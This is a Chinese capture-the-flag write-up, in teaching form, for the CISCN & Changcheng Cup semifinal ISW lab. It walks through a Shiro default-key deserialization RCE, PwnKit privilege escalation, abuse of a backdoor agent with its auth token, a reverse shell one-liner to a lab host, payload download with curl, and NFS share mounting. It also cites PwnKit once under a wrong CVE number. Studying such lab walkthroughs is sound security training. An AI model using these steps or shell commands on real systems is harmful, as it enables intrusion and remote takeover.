第十九届ciscn&长城杯半决赛 isw部分wp
字数 4128
更新时间 2026-04-01 19:16:47

第十九届CISCN&长城杯半决赛ISW题目技术解析与教学文档

概述

本文档基于《第十九届CISCN&长城杯半决赛 isw部分wp》的技术分享文章,对其中涉及的多层次攻防技术点进行系统性梳理与教学讲解。该实战场景模拟了一个包含Web应用、权限提升、横向移动、内网渗透的完整攻击链路,涵盖了多个经典的漏洞利用与后渗透技术。

一、 第一阶段:Web应用漏洞利用 (Flag1)

1.1 漏洞点:Apache Shiro 反序列化漏洞

  • 目标服务:运行在8080端口的Web应用。
  • 漏洞识别:通过自动化扫描工具(如fscan)的POC检测功能,识别出目标存在Shiro框架,并成功获取了默认密钥。
  • 关键信息
    • 检测结果:poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
    • 这是一个经典的Apache Shiro框架默认密钥漏洞(CVE-2016-4437等)。攻击者利用此硬编码的加密密钥,可以伪造RememberMe Cookie,触发Java反序列化,最终实现远程代码执行(RCE)。

1.2 利用步骤教学

  1. 信息收集:使用内网扫描工具(如fscan、nmap)扫描Web端口,并运行相应的漏洞POC脚本。
  2. 密钥利用:获得默认密钥kPH+bIxk5D2deZiIxcaaaA==后,使用公开工具(如ShiroAttack2、shiro_exploit)生成恶意的RememberMe Cookie。
  3. 载荷投递:将生成的Cookie附加到HTTP请求头中发送给目标,通常需要配合一个包含命令执行代码的序列化载荷(如CommonsCollections系列 gadget)。
  4. 获取初始立足点:成功利用后,可上传WebShell或直接建立反向Shell连接,获取tomcat等中间件用户的权限,拿到第一个Flag。

二、 第二阶段:本地权限提升 (Flag2)

2.1 漏洞点:Polkit的pkexec提权漏洞 (CVE-2021-4034)

  • 环境:获得初始Shell后,当前用户为tomcat,权限较低。
  • 提权检查:执行find / -perm -u=s -type f 2>/dev/null命令,查找具备SUID权限的可执行文件。
  • 发现目标:系统中存在/usr/bin/pkexec文件,且其SUID位被设置。
  • 漏洞利用pkexec是Polkit工具集中的组件,CVE-2021-4437(PwnKit)漏洞允许任何非特权用户通过精心构造的环境变量,利用该SUID二进制文件以root身份执行任意命令。此漏洞影响范围极广,且利用稳定。

2.2 利用步骤教学

  1. 确认漏洞存在:检查pkexec版本,或直接使用公开的EXP进行测试。
  2. 执行提权:在攻击机上下载或编译公开的EXP(例如来自github.com/berdav/CVE-2021-4034的POC代码),上传到靶机。
  3. 编译与运行:在靶机上使用gcc编译EXP,并执行。成功后会返回一个root权限的Shell。
  4. 获取标志:提权至root后,在系统关键目录(如/root/)下寻找第二个Flag。

三、 第三阶段:内网横向移动与后渗透 (Flag3)

3.1 网络发现与信息收集

  • 双网卡信息:第一台主机(192.168.45.50)存在第二张内网网卡eth1,网段为192.168.45.0/24
  • 主机发现:使用fscan等工具对192.168.45.0/24网段进行扫描,发现新主机192.168.45.100,其开放了多个端口,包括445(SMB)、135(RPC)、22(SSH)、88(Kerberos)、12345(未知)等。

3.2 自定义后门分析与利用

  • 服务分析:在已控制的第一台主机上,发现/root/agent文件。结合192.168.45.100主机开放了12345端口,推测该主机运行了相同的agent服务。
  • 逆向分析关键点(基于文档描述):
    1. 认证流程:客户端连接后,需首先发送正确的认证令牌:RCE_AUTH_2026\x00
    2. 命令执行:认证通过后,服务端进入循环,接收客户端发送的命令,并通过popen()函数执行这些命令,将结果返回给客户端。
  • 利用难点:在本地测试中,popen可以正常回显命令结果,但在远程靶机环境中无法回显。这可能是由于环境差异(如管道、文件描述符)或服务端实现逻辑不同所致。
  • 绕过方法 - 反向Shell
    1. 在第一台主机(192.168.45.50)上使用nc监听一个端口(如7788)。
    2. 192.168.45.100:12345发送认证令牌。
    3. 发送一个反向Shell命令,将Shell连接到监听端。注意:在文档中,使用bash未能成功,而使用sh成功。
      • Payload示例sh -i >& /dev/tcp/192.168.45.50/7788 0>&1
    4. 成功在192.168.45.50上获得来自192.168.45.100的一个交互式Shell,进而拿到第三个Flag。

四、 第四阶段:深度横向与权限维持 (Flag4)

4.1 环境探测与文件传输

  • 受限环境:在192.168.45.100获得的反弹Shell功能受限(如无法执行iphostname等网络探测命令)。
  • 文件上传
    1. 在第一台主机(192.168.45.50)上,利用其python2环境启动一个简单的HTTP服务器:python -m SimpleHTTPServer 1234
    2. 192.168.45.100的Shell中,使用curl命令从该服务器下载后门文件(如t1234)。
    3. 赋予执行权限并运行,从而通过正向连接的方式,用C2工具(如vshell)稳定控制第二台主机。

4.2 二次网络发现

  • 新网段:在控制192.168.45.100后,执行ifconfig发现其存在第二个内网网卡eth1,地址为192.168.77.100,属于另一个内网网段192.168.77.0/24
  • 扫描发现:使用fscan扫描该新网段,发现新主机192.168.77.45,开放808888端口。

4.3 Web服务探测与挑战

  1. 80端口:提供一个可下载的port_ban.exe文件,经分析是一个防火墙管理程序。目录扫描发现/download.php,但需要猜测参数才能下载源码,比赛中未能破解。
  2. 8888端口:一个需要authentication key的防火墙管理系统,该key可能通过审计port_ban.exedownload.php的源码获得。

4.4 关键突破口:NFS服务漏洞利用(赛后复盘)

  • 被忽略的攻击面:早在第二阶段,扫描192.168.45.100时已发现其开放了2049端口(NFS服务)。
  • NFS利用教学
    1. 信息枚举:在已获得Shell的192.168.45.100上,查看NFS共享信息:showmount -e 192.168.45.100
    2. 挂载共享:如果NFS配置不当,允许任意客户端挂载(或无根目录压缩),可直接挂载共享目录:mount -t nfs 192.168.45.100:/nfsdir /mnt/nfs
    3. 直接访问:挂载成功后,可直接访问/mnt/nfs目录下的文件。在本次场景中,第四个Flag和用于与agent服务交互的工具就存放在/nfsdir目录下。
  • 教训:在内网渗透中,应对所有开放端口进行深度测试。常见的网络文件共享服务(如NFS, SMB)如果配置不当,可能直接导致敏感信息泄露或未授权访问,是重要的突破口。

五、 工具与命令总结

  • 扫描工具fscan (内网主机/端口发现、漏洞POC扫描)、dirsearch/gobuster (Web目录扫描)。
  • 漏洞利用:Shiro反序列化工具、CVE-2021-4034本地EXP。
  • 后渗透与横向
    • nc (netcat):用于端口监听、文件传输、反弹Shell。
    • curl/wget:在受限环境下下载文件。
    • python -m SimpleHTTPServer/python3 -m http.server:快速搭建简易HTTP服务器。
    • find / -perm -u=s -type f 2>/dev/null:查找SUID文件。
    • showmount -e <ip>:查看NFS服务器共享目录。
    • mount -t nfs <ip>:/share /mnt/point:挂载NFS共享。

六、 核心攻防思路提炼

  1. 由外到内,层层递进:从外部Web漏洞打入,提权后作为内网跳板,逐步探测和攻陷更深层网络。
  2. 重视信息收集:每次获得新主机权限,应立即收集网络信息(ifconfig/ip a)、进程信息、敏感文件、密码凭证、历史命令等。
  3. 善用自动化与手动结合:使用fscan等工具进行批量发现,但对关键服务(如非常见端口123458888)需手动深入测试与分析。
  4. 永不忽略“简单”服务:NFS、SMB、Redis等中间件因配置错误导致的漏洞在内网中极为常见,应作为固定检查项。
  5. 灵活应对限制:在命令回显受限时,考虑使用反向Shell、带外信道(OAST)或文件上传的方式获取输出。在缺少工具时,利用现有环境(如python)搭建临时服务。

本教学文档完整复现了从外网突破到内网横向的完整链,涉及Web漏洞、本地提权、后门利用、网络协议攻击等多种技术,是一份典型的内网渗透实战教材。在实际演练中,应重点关注每一环节的“为什么”和“还有什么可能”,而不仅仅是复现步骤。

相似文章
相似文章
 全屏